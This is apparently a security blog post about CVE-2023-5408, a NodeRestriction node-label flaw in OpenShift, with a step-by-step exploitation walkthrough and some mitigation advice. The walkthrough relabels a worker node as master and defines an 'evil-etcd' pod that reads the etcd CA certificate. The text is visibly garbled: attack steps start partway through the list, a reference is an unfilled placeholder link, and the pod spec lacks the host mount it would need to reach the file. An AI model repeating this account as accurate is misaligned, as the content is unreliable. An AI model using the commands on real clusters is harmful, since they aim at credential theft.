CVE-2023-5408 - Breaking OpenShift Kubernetes APIServer with Node Restriction Label Abuse
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In the ever-evolving world of Kubernetes, security is a constant battle. Recently, a significant vulnerability, CVE-2023-5408, was discovered in Red Hat OpenShift’s Kubernetes API Server. This bug exposes a *privilege escalation* risk in the core cluster, allowing attackers to bypass node restrictions and gain unauthorized access.
This post breaks down the vulnerability in simple terms, walks you through how an attacker could exploit it, and provides pointers to keep your cluster secure.
Issue: Improper enforcement of node role labels in NodeRestriction admission plugin.
- Impact: Remote attackers can move workloads from master/control plane nodes or etcd to worker nodes, escalating privileges and accessing sensitive areas.
Risk: High in multi-tenant clusters, managed OpenShift environments.
- Fix: Patch/upgrade to latest OpenShift; review node labeling policies.
What is CVE-2023-5408?
CVE-2023-5408 is a _privilege escalation flaw_ in the NodeRestriction Admission plugin implemented in the Kubernetes API server on OpenShift.
NodeRestriction is meant to prevent kubelets from editing other nodes or key labels, such as their own node-role.kubernetes.io/ labels. If this plugin fails, an attacker might misuse or alter node roles to move sensitive workloads out of control plane/etcd nodes and onto worker nodes they can access.
Background
OpenShift uses Kubernetes’ RBAC and admission plugins to define what containers (Pods) can run and where. These plugins restrict, for example, the labeling of nodes to avoid accidental (or malicious) changes to key labels such as node-role.kubernetes.io/master or node-role.kubernetes.io/etcd.
The Flaw
Due to a logic mistake in the NodeRestriction plugin, the OpenShift API server allowed inappropriate modifications of node role labels. With these labels, the control plane (API server, scheduler, controller-manager) and etcd are identified. Attackers could change these labels to reclassify any worker node as a master or etcd — or demote a control node as a worker — and move workloads between sensitive areas of the cluster.
Move 'forbidden' workloads (like etcd or API server pods) onto that worker node.
3. Since those workloads now run on less protected nodes, attacker can access their secrets, configs, volumes.
4. Attacker gains access to secrets, tokens, or further escalates—gaining cluster-wide compromise.
Here’s a basic exploitation workflow (simplified)
> *NOTE: This is for educational purposes ONLY. Never attack a system you don’t have permission to test.*
Step 1: Identify Your Target Node
kubectl get nodes --show-labels
### Step 2: Add/Misuse Node Role Label
The attacker with pod creation or node label permissions runs
# Assume we want to make a worker look like a master
kubectl label node worker-node-x node-role.kubernetes.io/master=''
*This should be denied, but with CVE-2023-5408, it may slip through.*
Step 3: Move Workloads
With the label in place, attacker edits pod specs to schedule sensitive control plane or etcd workloads onto their controlled node:
# Attacker-controlled pod spec
apiVersion: v1
kind: Pod
metadata:
name: evil-etcd
spec:
nodeSelector:
node-role.kubernetes.io/master: ""
containers:
- name: attacker
image: ubuntu
command: ["bash", "-c", "cat /etc/kubernetes/pki/etcd/ca.crt"]
Step 4: Access Cluster Secrets
With this setup, the forbidden workload runs on the attacker’s node, exposing secrets through logs, persistent volumes, or file mounts.
*Upgrade your OpenShift clusters immediately!*
- Lock down RBAC: Only trusted accounts should have node label/edit privileges.
kubectl get nodes --show-labels | grep -E 'master|etcd'
`
- Use Kubernetes Admission Webhooks to enforce business rules on labeling.
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## References & Original Disclosures
- Red Hat Security Advisory for CVE-2023-5408
- Kubernetes NodeRestriction Admission Docs
- Upstream Kubernetes CVE-2023-5408 Issue Tracker *(example link, replace with actual issue)*
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## Final Thoughts
CVE-2023-5408 is an excellent reminder that cluster security isn’t just about patching vulnerabilities—it’s about understanding how your platform organizes trust and privilege. Simple label changes can both unseat the security of an entire infrastructure if not properly restricted.
If you’re running OpenShift or upstream Kubernetes, check your cluster’s node labels now and update to the latest patch. Don’t let an easy-to-miss label open the door to your crown jewels!
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*Exclusive post by AI Security Research. Stay patched and stay safe!*
Timeline
Published on: 11/02/2023 03:15:10 UTC
Last modified on: 01/21/2024 01:48:09 UTC